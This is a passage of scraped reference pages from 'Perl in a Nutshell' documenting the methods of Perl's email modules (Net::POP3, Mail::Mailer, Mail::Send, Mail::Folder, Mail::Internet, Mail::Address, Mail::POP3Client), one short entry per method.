 $pop->login([user[, pass]])

Sends both USER and PASS commands. If the password, pass, is not given, then Net::Netrc is used to look up the password based on the host and the username, user. If user is not specified, the current username is used. Returns the count of messages in the mailbox, or undef if the server can't authenticate the user.

Previous: Reference: list | Perl in a Nutshell | Next: Reference: pass
Reference: list | Book Index | Reference: pass


Reference: pass

Perl in a Nutshell

Perl in a NutshellSearch this book

pass

 $pop->pass(pass)

Sends the PASS command with the password. Returns the number of messages in the mailbox.

Previous: Reference: login | Perl in a Nutshell | Next: Reference: popstat
Reference: login | Book Index | Reference: popstat


Reference: popstat

Perl in a Nutshell

Perl in a NutshellSearch this book

popstat

 $pop->popstat()

Returns a list with two elements: the number of undeleted elements and the size of the mailbox.

Previous: Reference: pass | Perl in a Nutshell | Next: Reference: quit
Reference: pass | Book Index | Reference: quit


Reference: quit

Perl in a Nutshell

Perl in a NutshellSearch this book

quit

 $pop->quit()

Quits, closing the connection to the remote POP3 server and deleting all messages marked for deletion.

Note that if a Net::POP3 object goes out of scope before quit has been called, reset is called before the connection is closed, and any messages marked for deletion are not deleted.

Previous: Reference: popstat | Perl in a Nutshell | Next: Reference: reset
Reference: popstat | Book Index | Reference: reset


Reference: reset

Perl in a Nutshell

Perl in a NutshellSearch this book

reset

 $pop->reset()

Resets status of the remote POP3 server. Clears the delete status on all messages that were marked for deletion.

Previous: Reference: quit | Perl in a Nutshell | Next: Reference: top
Reference: quit | Book Index | Reference: top


Reference: top

Perl in a Nutshell

Perl in a NutshellSearch this book

top

 $pop->top(msgnum[, numlines])

Gets the header and the first numlines lines of body for message msgnum. Returns a reference to an array containing lines of text read from the server.

Previous: Reference: reset | Perl in a Nutshell | Next: Reference: uidl
Reference: reset | Book Index | Reference: uidl


Reference: uidl

Perl in a Nutshell

Perl in a NutshellSearch this book

uidl

 $pop->uidl([msgnum])

Returns a unique identifier for msgnum if specified. If msgnum is not specified, returns a reference to a hash where the keys are the message numbers and the values are the unique identifiers.

Previous: Reference: top | Perl in a Nutshell | Next: Reference: user
Reference: top | Book Index | Reference: user


Reference: user

Perl in a Nutshell

Perl in a NutshellSearch this book

user

 $pop->user(user)

Sends the USER command, identifying the user.

Previous: Reference: uidl | Perl in a Nutshell | Next: 14.1 The Net Modules
Reference: uidl | Book Index | 14.1 The Net Modules


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $mailer = new Mail::Mailer [type, command]

Constructor. Creates a new Mailer object representing the message to be sent. If the optional arguments are specified, the value of command depends on type, which can be one of:

mail

Use the Unix mail program. command is the path to mail. The module searches for mailx, Mail, and mail, in that order.

sendmail

Use the sendmail program. command is the path to sendmail.

test

Used for debugging. Calls /bin/echo to display the data, but doesn't actually send any mail. command is ignored, if specified.

If no arguments are specified, the Mailer object searches for executables in the above order and uses the first one found as the default mailer.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: close
14.2 The Mail Modules | Book Index | Reference: close


Reference: close

Perl in a Nutshell

Perl in a NutshellSearch this book

close

 $mailer->close

Closes the mail program.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: open
Reference: new | Book Index | Reference: open


Reference: open

Perl in a Nutshell

Perl in a NutshellSearch this book

open

 $mailer->open(\%hashref)

Sends message headers to the mail program. The headers are passed via a reference to a hash, where each key is the name of a header and the value is the contents of the header field. The value can be either a scalar or a reference to an array of scalars.

Previous: Reference: close | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: close | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $msg = new Mail::Send [header=>'value'[, ...]]

Constructor. Creates a new Mail::Send object that is the mail message you want to send. You can include values for headers when you create the object or later, by calling the appropriate methods.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: add
14.2 The Mail Modules | Book Index | Reference: add


Reference: add

Perl in a Nutshell

Perl in a NutshellSearch this book

add

 $msg->add(header, values)

Adds a header to the message. header is the header to be added, and values is a list of values to be appended to that header.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: bcc
Reference: new | Book Index | Reference: bcc


Reference: bcc

Perl in a Nutshell

Perl in a NutshellSearch this book

bcc

 $msg->bcc(values)

Adds a Bcc header containing the mail addresses specified in the list of values to the message. If there already is a Bcc, the new values replace any old values.

Previous: Reference: add | Perl in a Nutshell | Next: Reference: cancel
Reference: add | Book Index | Reference: cancel


Reference: cancel

Perl in a Nutshell

Perl in a NutshellSearch this book

cancel

 $msg->cancel

Not implemented yet, but will cancel the message.

Previous: Reference: bcc | Perl in a Nutshell | Next: Reference: cc
Reference: bcc | Book Index | Reference: cc


Reference: cc

Perl in a Nutshell

Perl in a NutshellSearch this book

cc

 $msg->cc(values)

Adds a Cc header containing the mail addresses in the list of values to the message. If there already is a Cc, the new values replace any old values.

Previous: Reference: cancel | Perl in a Nutshell | Next: Reference: close
Reference: cancel | Book Index | Reference: close


Reference: close

Perl in a Nutshell

Perl in a NutshellSearch this book

close

 $fh->close

Closes the filehandle $fh (which was returned by open) and sends the message.

Previous: Reference: cc | Perl in a Nutshell | Next: Reference: delete
Reference: cc | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

 $msg->delete(header)

Deletes the header header from the message.

Previous: Reference: close | Perl in a Nutshell | Next: Reference: open
Reference: close | Book Index | Reference: open


Reference: open

Perl in a Nutshell

Perl in a NutshellSearch this book

open

 $fh = $msg->open

Opens a filehandle for the message object. The filehandle is a Mail::Mailer object.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: set
Reference: delete | Book Index | Reference: set


Reference: set

Perl in a Nutshell

Perl in a NutshellSearch this book

set

 $msg->set(header, values)

Sets the header header to the contents of the array values.

Previous: Reference: open | Perl in a Nutshell | Next: Reference: subject
Reference: open | Book Index | Reference: subject


Reference: subject

Perl in a Nutshell

Perl in a NutshellSearch this book

subject

 $msg->subject('What this message is about')

Sets the value of the Subject field.

Previous: Reference: set | Perl in a Nutshell | Next: Reference: to
Reference: set | Book Index | Reference: to


Reference: to

Perl in a Nutshell

Perl in a NutshellSearch this book

to

 $msg->to(values)

Sets the To field to the list of recipients in values.

Previous: Reference: subject | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: subject | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $folder = new(ftype[, foldername][, options])

Creates a new Mail::Folder object of the specified type. Arguments are:

ftype

The type of folder. Possible values are mbox, maildir, emaul, or NNTP.

foldername

The name of the folder. If present, the open method is called with foldername as the argument.

options

A hash where the following options may be the keys:

Content-Length

Content-length header is created or updated by append_message and update_message.

Create

If set, the folder is created if it doesn't already exist.

DefaultFolderType

Autodetects folder type if create option is set and AUTODETECT has been set.

DotLock

Uses .lock-style folder locking with the proper folder interface (currently used only with the mbox interface).

Flock

Uses flock-style folder locking with the proper folder interface (currently used only with the mbox interface).

NFSLock

Deals with NFS-style file locking with the proper folder interface and the NFS server in question.

notMUA

If set, makes updates but doesn't save message labels or the current message indicator. If not set (the default), saves labels and the current message indicator as appropriate for the folder interface.

Timeout

Overrides the default timeout value. Specified in seconds. Particularly useful for folder interfaces that involve network communications.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: add_label
14.2 The Mail Modules | Book Index | Reference: add_label


Reference: add_label

Perl in a Nutshell

Perl in a NutshellSearch this book

add_label

 $folder->add_label(msg_num, label)

Associates the label label with the message msg_num. Returns 1 on success or 0 if the label has a length of 0. Possible values of label are:

deleted

Used by delete_message and sync to process message deletion.

edited

Added by update_message to indicate that the message has been edited.

filed, forwarded, printed, replied

Not acted on.

seen

Message has been viewed by the user. Set by get_message for any message it has retrieved.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: append_message
Reference: new | Book Index | Reference: append_message


Reference: append_message

Perl in a Nutshell

Perl in a NutshellSearch this book

append_message

 $folder->append_message(\$mi_ref)

Adds message to a folder. Argument is a reference to a Mail::Internet object.

Previous: Reference: add_label | Perl in a Nutshell | Next: Reference: clear_label
Reference: add_label | Book Index | Reference: clear_label


Reference: clear_label

Perl in a Nutshell

Perl in a NutshellSearch this book

clear_label

 $folder->clear_label(label)

Deletes the association with label for all messages in the folder. Returns the number of messages for which there was an association.

Previous: Reference: append_message | Perl in a Nutshell | Next: Reference: close
Reference: append_message | Book Index | Reference: close


Reference: close

Perl in a Nutshell

Perl in a NutshellSearch this book

close

 $folder->close

Does any necessary housekeeping and closes the folder.

Previous: Reference: clear_label | Perl in a Nutshell | Next: Reference: current_message
Reference: clear_label | Book Index | Reference: current_message


Reference: current_message

Perl in a Nutshell

Perl in a NutshellSearch this book

current_message

 $folder->current_message([msg_num])

With no argument, returns the message number of the current message in the folder. With an argument, sets the current message number for the folder to msg_num.

Previous: Reference: close | Perl in a Nutshell | Next: Reference: debug
Reference: close | Book Index | Reference: debug


Reference: debug

Perl in a Nutshell

Perl in a NutshellSearch this book

debug

 $folder->debug([value])

Sets the level of debugging information for the object to value. With no argument, returns the current debugging level.

Previous: Reference: current_message | Perl in a Nutshell | Next: Reference: debug_print
Reference: current_message | Book Index | Reference: debug_print


Reference: debug_print

Perl in a Nutshell

Perl in a NutshellSearch this book

debug_print

 $folder->debug_print(text)

Prints text, plus some additional information, to STDERR.

Previous: Reference: debug | Perl in a Nutshell | Next: Reference: delete_label
Reference: debug | Book Index | Reference: delete_label


Reference: delete_label

Perl in a Nutshell

Perl in a NutshellSearch this book

delete_label

 $folder->delete_label(msg_num, label)

Deletes the association of label with msg_num. Returns 1 on success and 0 if there was no association.

Previous: Reference: debug_print | Perl in a Nutshell | Next: Reference: delete_message
Reference: debug_print | Book Index | Reference: delete_message


Reference: delete_message

Perl in a Nutshell

Perl in a NutshellSearch this book

delete_message

 $folder->delete_message(msgs)

Takes a list of messages, msgs, to be marked for deletion. The messages aren't actually deleted until sync is called.

Previous: Reference: delete_label | Perl in a Nutshell | Next: Reference: dup
Reference: delete_label | Book Index | Reference: dup


Reference: dup

Perl in a Nutshell

Perl in a NutshellSearch this book

dup

 $folder->dup(msg_num, \$folder_ref)

Copies the message specified by msg_num to the folder referenced by \$folder_ref. Like refile, but doesn't delete the original message. Generates a fatal error if no folder is currently open or if the folder doesn't contain message msg_num.

Previous: Reference: delete_message | Perl in a Nutshell | Next: Reference: first_labeled_message
Reference: delete_message | Book Index | Reference: first_labeled_message


Reference: first_labeled_message

Perl in a Nutshell

Perl in a NutshellSearch this book

first_labeled_message

 $folder->first_labeled_message(label)

Returns the message number of the first message in the folder that has label associated with it, or 0 if there are none.

Previous: Reference: dup | Perl in a Nutshell | Next: Reference: first_message
Reference: dup | Book Index | Reference: first_message


Reference: first_message

Perl in a Nutshell

Perl in a NutshellSearch this book

first_message

 $folder->first_message

Returns the message number of the first message in the folder.

Previous: Reference: first_labeled_message | Perl in a Nutshell | Next: Reference: foldername
Reference: first_labeled_message | Book Index | Reference: foldername


Reference: foldername

Perl in a Nutshell

Perl in a NutshellSearch this book

foldername

 $folder->foldername

Returns the name of the folder that the object has opened.

Previous: Reference: first_message | Perl in a Nutshell | Next: Reference: get_fields
Reference: first_message | Book Index | Reference: get_fields


Reference: get_fields

Perl in a Nutshell

Perl in a NutshellSearch this book

get_fields

 $folder->get_fields(msg_num, fields)

Retrieves the fields specified in the list fields for message msg_num. If called in list context, returns a list; in scalar context, returns a reference to a list of the fields. Returns the fields in the same order as they were specified.

Previous: Reference: foldername | Perl in a Nutshell | Next: Reference: get_header
Reference: foldername | Book Index | Reference: get_header


Reference: get_header

Perl in a Nutshell

Perl in a NutshellSearch this book

get_header

 $folder->get_header(msg_num)

Extracts a message header; takes one argument - the message number. Returns a reference to a Mail::Header object.

Previous: Reference: get_fields | Perl in a Nutshell | Next: Reference: get_message
Reference: get_fields | Book Index | Reference: get_message


Reference: get_message

Perl in a Nutshell

Perl in a NutshellSearch this book

get_message

 $folder->get_message(msg_num)

Takes a message number as argument and returns a Mail::Internet object reference to that message, or 0 on failure.

Previous: Reference: get_header | Perl in a Nutshell | Next: Reference: get_message_file
Reference: get_header | Book Index | Reference: get_message_file


Reference: get_message_file

Perl in a Nutshell

Perl in a NutshellSearch this book

get_message_file

 $folder->get_message_file(msg_num)

Like get_message, but returns a filename instead of a Mail::Internet object reference.

Previous: Reference: get_message | Perl in a Nutshell | Next: Reference: get_mime_header
Reference: get_message | Book Index | Reference: get_mime_header


Reference: get_mime_header

Perl in a Nutshell

Perl in a NutshellSearch this book

get_mime_header

 $folder->get_mime_header(msg_num)

This method works much like get_header, but returns a reference to a MIME::Head object instead. Takes one argument, the message number.

Previous: Reference: get_message_file | Perl in a Nutshell | Next: Reference: get_mime_message
Reference: get_message_file | Book Index | Reference: get_mime_message


Reference: get_mime_message

Perl in a Nutshell

Perl in a NutshellSearch this book

get_mime_message

 $folder->get_mime_message (msg_num[, parserobject][, options])

Returns a MIME::Entity object for the specified message. Calls get_message_file to get a message to parse, creates a MIME::Parser object, and uses that to create the MIME::Entity object. The arguments are:

msg_num

The number of the message.

parserobject

If specified, used instead of internally creating a parser object.

options

Map onto the equivalent MIME::Parser methods. Specified as key/value pairs, with possible values of: output_dir, output_prefix, output_to_core. See the MIME::Parser documentation for details.

Previous: Reference: get_mime_header | Perl in a Nutshell | Next: Reference: get_option
Reference: get_mime_header | Book Index | Reference: get_option


Reference: get_option

Perl in a Nutshell

Perl in a NutshellSearch this book

get_option

 $folder->get_option(option)

Returns the setting for the specified option, or undef if the option doesn't exist.

Previous: Reference: get_mime_message | Perl in a Nutshell | Next: Reference: inverse_select
Reference: get_mime_message | Book Index | Reference: inverse_select


Reference: inverse_select

Perl in a Nutshell

Perl in a NutshellSearch this book

inverse_select

 $folder->inverse_select(\$func_ref)

Returns a list, in no specific order, of message numbers that do not match a set of criteria. The argument, \$func_ref, is a reference to a function used to determine the criteria. The function is passed a reference to a Mail::Internet object containing only a header.

Previous: Reference: get_option | Perl in a Nutshell | Next: Reference: is_readonly
Reference: get_option | Book Index | Reference: is_readonly


Reference: is_readonly

Perl in a Nutshell

Perl in a NutshellSearch this book

is_readonly

 $folder->is_readonly

Returns 1 if the folder has the readonly attribute set, otherwise returns 0.

Previous: Reference: inverse_select | Perl in a Nutshell | Next: Reference: label_exists
Reference: inverse_select | Book Index | Reference: label_exists


Reference: label_exists

Perl in a Nutshell

Perl in a NutshellSearch this book

label_exists

 $folder->label_exists(msg_num, label)

Returns 1 if label is associated with message msg_num, otherwise returns 0.

Previous: Reference: is_readonly | Perl in a Nutshell | Next: Reference: last_labeled_message
Reference: is_readonly | Book Index | Reference: last_labeled_message


Reference: last_labeled_message

Perl in a Nutshell

Perl in a NutshellSearch this book

last_labeled_message

 $folder->last_labeled_message(label)

Returns the message number of the last message in the folder with the label label associated with it, or 0 if there is no such message number.

Previous: Reference: label_exists | Perl in a Nutshell | Next: Reference: last_message
Reference: label_exists | Book Index | Reference: last_message


Reference: last_message

Perl in a Nutshell

Perl in a NutshellSearch this book

last_message

 $folder->last_message

Returns the message number of the last message in the folder.

Previous: Reference: last_labeled_message | Perl in a Nutshell | Next: Reference: list_all_labels
Reference: last_labeled_message | Book Index | Reference: list_all_labels


Reference: list_all_labels

Perl in a Nutshell

Perl in a NutshellSearch this book

list_all_labels

 $folder->list_all_labels

Returns a list, in no specific order, of all labels associated with messages in the folder. If called in scalar context, returns the number of labels associated with the messages.

Previous: Reference: last_message | Perl in a Nutshell | Next: Reference: list_labels
Reference: last_message | Book Index | Reference: list_labels


Reference: list_labels

Perl in a Nutshell

Perl in a NutshellSearch this book

list_labels

 $folder->list_labels(msg_num)

Returns a list, in no specific order, of all labels associated with msg_num. If called in scalar context, returns the number of labels associated with the message.

Previous: Reference: list_all_labels | Perl in a Nutshell | Next: Reference: message_exists
Reference: list_all_labels | Book Index | Reference: message_exists


Reference: message_exists

Perl in a Nutshell

Perl in a NutshellSearch this book

message_exists

 $folder->message_exists(msg_num)

Returns 1 if a message with the number msg_num exists in the folder, otherwise returns 0.

Previous: Reference: list_labels | Perl in a Nutshell | Next: Reference: message_list
Reference: list_labels | Book Index | Reference: message_list


Reference: message_list

Perl in a Nutshell

Perl in a NutshellSearch this book

message_list

 $folder->message_list

Returns a list of the message numbers in the folder, in no specific order. The syntax is:

print $folder->message_list."\n"

Previous: Reference: message_exists | Perl in a Nutshell | Next: Reference: next_labeled_message
Reference: message_exists | Book Index | Reference: next_labeled_message


Reference: next_labeled_message

Perl in a Nutshell

Perl in a NutshellSearch this book

next_labeled_message

 $folder->next_labeled_message(msg_num, label)

Returns the message number of the next message in the folder relative to msg_number that has the label label associated with it, or 0 if there is no such message.

Previous: Reference: message_list | Perl in a Nutshell | Next: Reference: next_message
Reference: message_list | Book Index | Reference: next_message


Reference: next_message

Perl in a Nutshell

Perl in a NutshellSearch this book

next_message

 $folder->next_message([msg_num])

Returns the number of the next message in the folder relative to msg_num if it is specified, otherwise relative to the current message. Returns 0 if at end of folder.

Previous: Reference: next_labeled_message | Perl in a Nutshell | Next: Reference: open
Reference: next_labeled_message | Book Index | Reference: open


Reference: open

Perl in a Nutshell

Perl in a NutshellSearch this book

open

 $folder->open(foldername)

If you didn't specify a folder name in the constructor, you need to call the open method, which takes the folder name as an argument and opens the folder. Also sets readonly if the folder is determined to be read-only.

Previous: Reference: next_message | Perl in a Nutshell | Next: Reference: pack
Reference: next_message | Book Index | Reference: pack


Reference: pack

Perl in a Nutshell

Perl in a NutshellSearch this book

pack

 $folder->pack

For formats that allow message number sequences to have gaps, renames the files in the folders to eliminate any such gaps. May result in some messages being renumbered.

Previous: Reference: open | Perl in a Nutshell | Next: Reference: prev_labeled_message
Reference: open | Book Index | Reference: prev_labeled_message


Reference: prev_labeled_message

Perl in a Nutshell

Perl in a NutshellSearch this book

prev_labeled_message

 $folder->prev_labeled_message(msg_num, label)

Returns the message number of the previous message in the folder relative to msg_num that has the label label associated with it, or 0 if there is no such message.

Previous: Reference: pack | Perl in a Nutshell | Next: Reference: prev_message
Reference: pack | Book Index | Reference: prev_message


Reference: prev_message

Perl in a Nutshell

Perl in a NutshellSearch this book

prev_message

 $folder->prev_message([msg_num])

Returns the number of the previous message in the folder relative to msg_num if it is specified, otherwise relative to the current message. Returns 0 if at the beginning of the folder.

Previous: Reference: prev_labeled_message | Perl in a Nutshell | Next: Reference: qty
Reference: prev_labeled_message | Book Index | Reference: qty


Reference: qty

Perl in a Nutshell

Perl in a NutshellSearch this book

qty

 $folder->qty

Returns the number of messages in the folder. The syntax is:

print "There are ".$folder->qty." messages in your folder\n";

Previous: Reference: prev_message | Perl in a Nutshell | Next: Reference: refile
Reference: prev_message | Book Index | Reference: refile


Reference: refile

Perl in a Nutshell

Perl in a NutshellSearch this book

refile

 $folder->refile(msg_num, \$fldr_ref)

Moves messages between folders. Takes a message number and folder reference as arguments.

Previous: Reference: qty | Perl in a Nutshell | Next: Reference: select
Reference: qty | Book Index | Reference: select


Reference: select

Perl in a Nutshell

Perl in a NutshellSearch this book

select

 $folder->select(\$func_ref)

Returns a list of messages that meet a set of criteria. The argument, \$func_ref, is a reference to a function used to determine the criteria. The function is passed a reference to a Mail::Internet object containing only a header. The list is returned in no specific order.

Previous: Reference: refile | Perl in a Nutshell | Next: Reference: select_label
Reference: refile | Book Index | Reference: select_label


Reference: select_label

Perl in a Nutshell

Perl in a NutshellSearch this book

select_label

 $folder->select_label(label)

Returns a list of messages with the label label. If called in scalar context, returns the number of messages that have the label.

Previous: Reference: select | Perl in a Nutshell | Next: Reference: set_option
Reference: select | Book Index | Reference: set_option


Reference: set_option

Perl in a Nutshell

Perl in a NutshellSearch this book

set_option

 $folder->set_option(option, value)

Sets the specified option to value.

Previous: Reference: select_label | Perl in a Nutshell | Next: Reference: set_readonly
Reference: select_label | Book Index | Reference: set_readonly


Reference: set_readonly

Perl in a Nutshell

Perl in a NutshellSearch this book

set_readonly

 $folder->set_readonly

Sets the readonly attribute for the folder. Once readonly has been set, sync won't perform any updates to the actual folder.

Previous: Reference: set_option | Perl in a Nutshell | Next: Reference: sort
Reference: set_option | Book Index | Reference: sort


Reference: sort

Perl in a Nutshell

Perl in a NutshellSearch this book

sort

 $folder->sort(\$func_ref)

Returns a sorted list of messages. \$func_ref is a reference to a function that is passed two Mail::Header message references and returns an integer less than, equal to, or greater than 0 to indicate the sort order.

Previous: Reference: set_readonly | Perl in a Nutshell | Next: Reference: sync
Reference: set_readonly | Book Index | Reference: sync


Reference: sync

Perl in a Nutshell

Perl in a NutshellSearch this book

sync

 $folder->sync

Synchronizes the folder with internal data structures and reads in any new messages since the last open or sync. Does not perform any updates if the readonly attribute has been set.

Previous: Reference: sort | Perl in a Nutshell | Next: Reference: undelete_message
Reference: sort | Book Index | Reference: undelete_message


Reference: undelete_message

Perl in a Nutshell

Perl in a NutshellSearch this book

undelete_message

 $folder->undelete_message(msgs)

Unmarks a list of messages, msgs, that have been marked for deletion.

Previous: Reference: sync | Perl in a Nutshell | Next: Reference: update_message
Reference: sync | Book Index | Reference: update_message


Reference: update_message

Perl in a Nutshell

Perl in a NutshellSearch this book

update_message

 $folder->update_message(msg_num, \$mref)

Replaces the message specified by msg_num with the contents of the message given by \$mref, which is a reference to a Mail::Internet object.

Previous: Reference: undelete_message | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: undelete_message | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $mail = new Mail::Internet ([arg], [options])

Creates a new Mail::Internet object. arg is optional and may be either a file descriptor (a reference to a glob) or a reference to an array. If present, the new object is initialized with headers either from the array or read from the file descriptor. options is a list of options in the form of key/value pairs. Possible options are:

Header

Mail::Internet should not attempt to read a mail header from arg, if it was specified. Value is a Mail::Header object.

Body

Mail::Internet should attempt to read the body from arg, if it was specified. Value is a reference to an array that contains the lines of the message body.

Modify

Reformats the headers if true. Mail::Header option.

MailFrom

Specifies behavior for headers in the form "From ". Mail::Header option. Possible values are:

IGNORE

Ignores and discards the headers.

ERROR

Calls die.

COERCE

Renames headers to Mail-From.

KEEP

Keeps headers as they are.

FoldLength

Value is default line length for folding headers. Mail::Header option.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: add_signature
14.2 The Mail Modules | Book Index | Reference: add_signature


Reference: add_signature

Perl in a Nutshell

Perl in a NutshellSearch this book

add_signature

 $mail->add_signature([file])

Appends a signature to the message. file is a file that contains the signature; if not specified, the file $ENV{HOME}/.signature is checked for a signature.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: body
Reference: new | Book Index | Reference: body


Reference: body

Perl in a Nutshell

Perl in a NutshellSearch this book

body

 $mail->body()

Returns the body of the message as a reference to an array. Each entry in the array represents one line of the message.

Previous: Reference: add_signature | Perl in a Nutshell | Next: Reference: escape_from
Reference: add_signature | Book Index | Reference: escape_from


Reference: escape_from

Perl in a Nutshell

Perl in a NutshellSearch this book

escape_from

 $mail->escape_from()

Inserts a leading > on any line that starts with "From ", to avoid the problems that some applications have if a message contains a line starting with "From ".

Previous: Reference: body | Perl in a Nutshell | Next: Reference: head
Reference: body | Book Index | Reference: head


Reference: head

Perl in a Nutshell

Perl in a NutshellSearch this book

head

 $headobj = $mail->head()

Returns the Mail::Header object that holds the headers for the current message.

Previous: Reference: escape_from | Perl in a Nutshell | Next: Reference: nntppost
Reference: escape_from | Book Index | Reference: nntppost


Reference: nntppost

Perl in a Nutshell

Perl in a NutshellSearch this book

nntppost

 $mail->nntppost([options])

Posts an article via NNTP; requires Net::NNTP. Options are passed as key/value pairs. Available options are:

Debug

Debug value to pass to Net::NNTP.

Host

Name of NNTP server to connect to.

Port

Port number to connect to on remote host.

Previous: Reference: head | Perl in a Nutshell | Next: Reference: print_header
Reference: head | Book Index | Reference: print_header


Reference: print_header

Perl in a Nutshell

Perl in a NutshellSearch this book

print_header

$mail->print_header([\*fd])
$mail->print_body([\*fd])
$mail->print([\*fd])

Prints the header, body, or whole message to file descriptor \*fd, which should be a reference to a glob. If the file descriptor is not given, the output is sent to STDOUT:

$mail->print(\*STDOUT);  # Print message to STDOUT

Previous: Reference: nntppost | Perl in a Nutshell | Next: Reference: remove_sig
Reference: nntppost | Book Index | Reference: remove_sig


Reference: remove_sig

Perl in a Nutshell

Perl in a NutshellSearch this book

remove_sig

 $mail->remove_sig([nlines])

Removes a user's signature from the body of a message. Looks for a line equal to "-- " within the last nlines lines of the message and removes that line and all lines after it. nlines defaults to 10.

Previous: Reference: print_header | Perl in a Nutshell | Next: Reference: reply
Reference: print_header | Book Index | Reference: reply


Reference: reply

Perl in a Nutshell

Perl in a NutshellSearch this book

reply

 $reply = $mail->reply()

Creates a new object with headers initialized for a reply to the current object and with a body that is an indented copy of the current message.

Previous: Reference: remove_sig | Perl in a Nutshell | Next: Reference: smtpsend
Reference: remove_sig | Book Index | Reference: smtpsend


Reference: smtpsend

Perl in a Nutshell

Perl in a NutshellSearch this book

smtpsend

 $mail->smtpsend()

Sends the Mail::Internet message via SMTP to all addresses on the To, Cc, and Bcc lines. Finds the SMTP host by trying to connect first to hosts specified in $ENV{SMTPHOSTS}, then to mailhost, and then to localhost.

In a future release of Mail::Internet, smtpsend will be able to take the hostname as a parameter, as nntppost does.

Previous: Reference: reply | Perl in a Nutshell | Next: Reference: tidy_body
Reference: reply | Book Index | Reference: tidy_body


Reference: tidy_body

Perl in a Nutshell

Perl in a NutshellSearch this book

tidy_body

 $mail->tidy_body()

Removes all leading and trailing lines that contain only whitespace from the message body.

Previous: Reference: smtpsend | Perl in a Nutshell | Next: Reference: unescape_from
Reference: smtpsend | Book Index | Reference: unescape_from


Reference: unescape_from

Perl in a Nutshell

Perl in a NutshellSearch this book

unescape_from

 $mail->unescape_from()

Removes the escaping added by escape_from.

Previous: Reference: tidy_body | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: tidy_body | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $addr = Mail::Address->new(phrase, address[, comment])

Constructor. Creates new Mail::Address object representing an address with the specified elements. In a message, these three elements show up as:

phrase <address> (comment)
address (comment)

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: parse
14.2 The Mail Modules | Book Index | Reference: parse


Reference: parse

Perl in a Nutshell

Perl in a NutshellSearch this book

parse

 Mail::Address->parse(line)

Constructor. Parses the specified line, usually a To, Cc, or Bcc line, and returns a list of extracted Mail::Address objects.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: address
Reference: new | Book Index | Reference: address


Reference: address

Perl in a Nutshell

Perl in a NutshellSearch this book

address

 $addr->address()

Returns the address part of the object.

Previous: Reference: parse | Perl in a Nutshell | Next: Reference: canon
Reference: parse | Book Index | Reference: canon


Reference: canon

Perl in a Nutshell

Perl in a NutshellSearch this book

canon

 $addr->canon()

Unimplemented, but should return the UUCP canon for the message.

Previous: Reference: address | Perl in a Nutshell | Next: Reference: comment
Reference: address | Book Index | Reference: comment


Reference: comment

Perl in a Nutshell

Perl in a NutshellSearch this book

comment

 $addr->comment()

Returns the comment part of the object.

Previous: Reference: canon | Perl in a Nutshell | Next: Reference: format
Reference: canon | Book Index | Reference: format


Reference: format

Perl in a Nutshell

Perl in a NutshellSearch this book

format

 $addr->format()

Returns a string representing the address in a form suitable for the To, Cc, or Bcc line of a message

Previous: Reference: comment | Perl in a Nutshell | Next: Reference: host
Reference: comment | Book Index | Reference: host


Reference: host

Perl in a Nutshell

Perl in a NutshellSearch this book

host

 $addr->host()

Returns the host portion of the address.

Previous: Reference: format | Perl in a Nutshell | Next: Reference: name
Reference: format | Book Index | Reference: name


Reference: name

Perl in a Nutshell

Perl in a NutshellSearch this book

name

 $addr->name()

Takes information contained in the object and uses various heuristics to try to identify the name of the person or group.

Previous: Reference: host | Perl in a Nutshell | Next: Reference: path
Reference: host | Book Index | Reference: path


Reference: path

Perl in a Nutshell

Perl in a NutshellSearch this book

path

 $addr->path()

Unimplemented, but should return the UUCP path for the message.

Previous: Reference: name | Perl in a Nutshell | Next: Reference: phrase
Reference: name | Book Index | Reference: phrase


Reference: phrase

Perl in a Nutshell

Perl in a NutshellSearch this book

phrase

 $addr->phrase()

Returns the phrase part of the object.

Previous: Reference: path | Perl in a Nutshell | Next: Reference: user
Reference: path | Book Index | Reference: user


Reference: user

Perl in a Nutshell

Perl in a NutshellSearch this book

user

 $addr->user()

Returns the user id portion of the address.

Previous: Reference: phrase | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: phrase | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $pop = new Mail::POP3Client("user", "pwd"[, "host"[, port[, debug]]])

Constructor. Creates a new POP3 connection. The arguments are:

user

The username.

pwd

The password.

host

Optional. The POP3 host; defaults to pop.

port

Optional. The POP3 port number; defaults to 110.

debug

Enables debugging (to STDERR) on the object if set to a positive integer. Defaults to 0.

Previous: 14.2 The Mail Modules | Perl in a Nutshell | Next: Reference: Alive
14.2 The Mail Modules | Book Index | Reference: Alive


Reference: Alive

Perl in a Nutshell

Perl in a NutshellSearch this book

Alive

 $pop->Alive()

Tests to see if the connection is alive and returns true or false.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: Body
Reference: new | Book Index | Reference: Body


Reference: Body

Perl in a Nutshell

Perl in a NutshellSearch this book

Body

 $pop->Body(msgnum)

Gets the body of the specified message.

Previous: Reference: Alive | Perl in a Nutshell | Next: Reference: Close
Reference: Alive | Book Index | Reference: Close


Reference: Close

Perl in a Nutshell

Perl in a NutshellSearch this book

Close

 $pop->Close()

Closes the connection gracefully, performing any pending deletes on the server.

Previous: Reference: Body | Perl in a Nutshell | Next: Reference: Connect
Reference: Body | Book Index | Reference: Connect


Reference: Connect

Perl in a Nutshell

